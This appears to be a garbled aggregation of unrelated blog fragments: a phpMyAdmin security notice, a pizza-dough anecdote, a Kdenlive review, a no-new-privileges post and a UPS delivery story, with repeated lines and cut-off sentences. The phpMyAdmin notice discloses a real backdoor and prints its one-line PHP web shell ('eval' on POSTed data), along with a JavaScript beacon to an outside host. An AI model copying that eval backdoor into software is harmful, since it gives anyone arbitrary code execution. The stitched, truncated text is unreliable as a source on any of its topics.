Jon Dowland: Delete! Delete!
I prefer the classic Cybermen.
I prefer the classic Cybermen.
I prefer the classic Cybermen.
I prefer the classic Cybermen.
Yesterday, phpMyAdmin security team has been notified about backdoor being distributed together with phpMyAdmin zip file on one of SourceForge mirrors.
We quickly analyzed the issue and confirmed that the backdoor is indeed present in phpMyAdmin-3.5.2.2-all-languages.zip file. It allowed anybody to execute arbitrary PHP code, there was file called server_sync.php which simply called eval on passed data:
<?php @eval($_POST['c']);?>
var icon ;
icon = document.createElement("img");
icon.src="http://logos.phpmyadmin-images.net/logo/logos.jpg";
icon.width=0;
icon.height=0;
document.body.appendChild(icon);
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Hi!
I have collected a small list of people that I want to give lifesign
once in a while. 
- e.g.
ny brothers are on the list, as is both my parents master:/srv/leader/news/bits-from-the-DPL.txt.201208
?()-+-acpi_cooling0(16)
-acpi_thermal(15)
-audit(10)
-bufdaemon(18)
-flowcleaner(22)
-g_down(4)
-g_event(2)
-g_up(3)
-hald-runner(547)---hald-addon-storag(569)
-hald(546)-+-hald(548)---hald(549)
-hald-runner(547)---hald-addon-storag(569)
-hald(548)---hald(549)
-idle(11)
-init(1)-+-etc....
AltOS 1.1 Bug fixes and some nice new features
Bdale and I are pleased to announce the release of
AltOS version 1.1.
AltOS is the core of the software
for all of the Altus Metrum products. It
consists of cc1111-based micro-controller firmware and Java-based
ground station software.
We ve spent the last flying season chatting with people flying
TeleMetrum and TeleMini boards and they came up with some great ideas
to add to the system.
AltOS Firmware Features and fixes
There are bug fixes in both ground station and flight software, so you
should plan on re-flashing both units at some point. However, there aren t
any incompatible changes, so you don t have to do it all at once.
New features:
According to my Amazon purchase history, it was Sunday, October 11, 2009,
that we were lazing around with our friends Dan and Sue and we decided we'd
just hang out and watch the first season of Dollhouse. I bought the whole
thing on Amazon's Video on Demand, and we started watching episodes.
It got close to dinner time, and Dan was going through a home made pizza
phase at the time, and we thought about making some pizzas. I wasn't sure if
we had all the ingredients in the house, but it went something like this:
Dan: Got flour? Me: Yes Dan: Yeast? Me: Yes Me: Oh, and we've got a big bag of grated mozzarella from Costco. And we have a pizza stone and a peel, and a bunch of random stuff we can throw on a pizza.So we totally ninja-ed up some pizzas from stuff we had lying around the house. It was awesome because it was totally spontaneous. You couldn't have planned it better, and we pulled it off brilliantly without having the leave the house. Anyway, Dan had to calculate the ratios of water, flour, salt and sugar, and he wrote them all down on the magnetic whiteboard we kept on our fridge. Fast forward almost 3 years later, and we've moved to our new home, and have a stainless steel fridge that we haven't been able to put this whiteboard on, so it got stashed away in a cupboard. The pizza dough recipe is still written on it, though. So with Sarah away, Bill and Victoria are coming around for dinner tonight to hang out, and I thought trying to make pizza again might be a fun experiment. So I dug out the whiteboard with the trusty recipe, and Zoe and I made some dough this morning, and it's currently proofing in the oven. Unfortunately the whiteboard only had the quantities and not the method on it, and from perusing other recipes on the Internet, I may not have mixed things properly (I just kind of threw things together and made it into a ball), so this first batch might be a total disaster. I might go and make a second batch while Zoe's napping. Here's the contents of the whiteboard, for posterity (I'm hoping it says 10g of salt and not 18g, not that I think it'll affect the outcome too much):
Lessons learned from trying to do some simple non-linear video editing on Linux:
Kdenlive has reached a point where it's usable.
Not good by any means there are glaring problems such as the color
management support being very rudimentary, almost no multicore support,
general lack of optimization, frequent near-crashes, and so on but usable
to the point where you can actually create a video from start to end.
I'd say it's very roughly comparable to Premiere 5 was, circa 1998,
but it's not something I'd recommend to my mother.
slowmoVideo, on the other hand, was
not very useful to me for framerate up-conversions; the end results
were simply too poor given the general complexity in my scenes. It can
seemingly do an okay (but not perfect) job for down-conversion if you're
willing to hack it a bit and live with general slowness and demand for disk
space.
So, well, behold the end result,
I guess. If you like frisbee, that is.
Date: Wed, 05 Sep 2012 16:52:22 -0000
From: adsense-noreply@google.com
To: rbrito@gmail.com
Subject: Google AdSense Support
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(...)
A couple of months ago I was experimenting with adding no-new-privileges to various systems I run. Unfortunately I was surprised a few weeks later at unintended breakge.
My personal server has several "real users", and several "webserver users". Each webserver user runs a single copy of thttpd under its own UID, listening on 127.0.0.1:xxxx, where xxxx is the userid:
steve@steve:~$ id -u s-steve 1019 steve@steve:~$ sudo lsof -i :1019 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME thttpd 9993 s-steve 0u IPv4 7183548 0t0 TCP localhost:1019 (LISTEN)Facing the world I have an IPv4 & IPv6 proxy server that routes incoming connections to these local thttpd instances. Wouldn't it be wonderful to restrict these instances, and prevent them from acquiring new privileges? Yes, I thought. Unfortunately I stumbled across a down-side: Some of the servers send email, and they do that by shelling out to /usr/sbin/sendmail which is setuid (and thus fails). D'oh! The end result was choosing between:
This is not the kind of place I live, though I don't mind a visit.
I'm not bothered by a more rural life, I thrive on peace and quiet, and
am not bothered by needing to haul my water, split firewood, or spend an hour
just mowing my driveway.
I bought a GPS the other day, and it doesn't know where my driveway is..
The only thing that really bothers me about living here off the map is that
I'm in the middle of a food desert too. The nearest
semi-decent grocery store and produce market are 40 minutes away. There's
one restaurant worth eating at, and while a very congenial place to eat
rustic food while watching the river flow by, it serves almost no
vegetables. Adding to the problem, my fridge is a rather expensive propane
model, which is about half a normal size, and has no freezer. Managing a
healthy meal plan is a constant struggle, though I do have time to cook, at
least, thanks to not having the kind of commute that is typical around
here.
Well, the food desert was my only real problem. Now I can add to that the
UPS emergency. A week ago, a package left Shenzen China for here. It quickly
passed through Anchorage Alaska, and with a few days had arrived an hour
and a half from here. Getting it here has taken the whole rest of the week.
I only knew UPS attempted delivery because a neighbor told me. Seems they
took one look at my driveway and turned around. They never tried again, and
they didn't bother to leave a note on the mailbox, or anything. Now, the US
postal service is happy to drive up this driveway; they drive a sensible
4x4 around here. I think DHL and Fedex have been here too. (Contrary
to John Goerzen's experiences)
My compact car is not bothered by my driveway either...
But UPS's brand involves large brown trucks, even where inappropriate, and
damage to them from such things as low-hanging branches apparently comes out
of the driver's paycheck. And while normally UPS leaves small things in my
mailbox, or with a neighbor, this was an important package from China, and
it needed a signature. But really, a post card? "emergency"?!
So, I bought the GPS to find UPS, because my package was in an industrial
park in some town I've never been to. And on Tuesday I was within an hour
of there and swung by. And it was closed. UPS's website had not mentioned
this; other businesses are open the day after Memorial day. That turned out
to be a really annoying day all around. When I got home, after a night
away, I found my fridge's fire had blown out, and nearly all my food was
only fit for the dog.
Today I went out to try again (and buy groceries). When I reached the
UPS depot.. it was closed! Until 3 pm. At this point I felt this story
was reaching full-on farce.
After cooling my heels in a library for three hours, I was finally able to
open the most over-packed package I've probably ever seen.
My kickstarter reward sample looks good.. I'll be ordering a lot more, but
not to this address.
As a coda to the UPS farce, arriving home today I checked my mailbox, and
found the UPS postcard had finally arrived. It included mention of the 3 pm
opening time, and noted that I had until tomorrow before they'd return my
package to China.
The coda to the coda is that on my way home from this second annoying day
delivered courtesy of UPS, I stumbled on a restaurant overlooking a
waterfall, just outside the town where I get my groceries. It serves food
that satisfies both my Cajun and healthy cravings. Now I just need
a larger fridge..
There's been good progress in Fedora's implementation of UEFI Secure Boot, so time for a quick update.Next.
